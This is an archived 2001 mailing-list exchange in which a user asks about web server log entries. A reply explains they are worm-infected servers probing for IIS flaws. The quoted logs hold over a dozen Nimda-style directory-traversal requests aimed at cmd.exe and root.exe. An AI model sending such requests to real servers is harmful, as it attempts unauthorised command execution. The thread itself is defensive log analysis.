These are Virus infected servers trying to find IIS exploits on your server. Hence, the subject of this thread.
Danny At 10/14/2001 11:36 PM, you wrote: >Although I can not answer the question with any accuracy, I always just >figured it was the ISP pinging customers. I get the same garbage in my logs >from my cable company. I have never been concerned about it since the IP(s) >that mine comes from are cable company IP's. I will now let someone give the >correct, technical answer :-) > >Jeff >[EMAIL PROTECTED] > > >----- Original Message ----- >From: "Guardian Lew" <[EMAIL PROTECTED]> >To: <[EMAIL PROTECTED]> >Sent: Sunday, October 14, 2001 10:32 PM >Subject: RE: [sambar] Nimda interesting > > > > Can someone tell me what these few lines mean? > > > > 65.10.89.6 - - [13/Oct/2001:01:38:34 -0500] "GET /scripts/root.exe?/c+dir > > HTTP/1.0" 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:35 -0500] "GET /MSADC/root.exe?/c+dir > > HTTP/1.0" 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:36 -0500] "GET > > /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:37 -0500] "GET > > /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:38 -0500] "GET > > /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:39 -0500] "GET > > /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" > > 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:43 -0500] "GET > > /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" > > 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:45 -0500] "GET > > >/msadc/..%5c../..%5c../..%5c/..A../..A../..A../winnt/system32/cmd.exe?/c+ > > dir HTTP/1.0" 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:46 -0500] "GET > > /scripts/..A../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:47 -0500] "GET > > /scripts/..A/../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:48 -0500] "GET > > /scripts/..A?../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:50 -0500] "GET > > /scripts/..Ao../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:51 -0500] "GET > > /scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-" > > 65.10.89.6 - - [13/Oct/2001:01:38:52 -0500] "GET > > /scripts/..S5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 0 "-" "-" > > > > God has special angels I know a lot. > > http://angelstore.net > > >-------------------------------------------------------------------------------- >For unsubscription of this list send an email to [EMAIL PROTECTED] with >email >data containing unsubscribe emailadd sambar -------------------------------------------------------------------------------- For unsubscription of this list send an email to [EMAIL PROTECTED] with email data containing unsubscribe emailadd sambar
